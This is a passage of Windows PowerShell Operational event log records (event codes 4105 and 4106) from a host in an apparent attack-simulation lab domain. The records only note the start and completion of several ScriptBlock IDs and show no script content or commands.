09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647055
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647053
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647051
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647049
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647048
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647047
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647065
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647063
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647061
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647059
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647057
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647075
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647073
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647071
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647069
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647067
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647085
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647083
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647081
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647080
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647079
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:09:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647077
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647096
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647095
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647093
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647091
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647089
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647087
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647106
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647105
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:10:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647103
Keywords=None
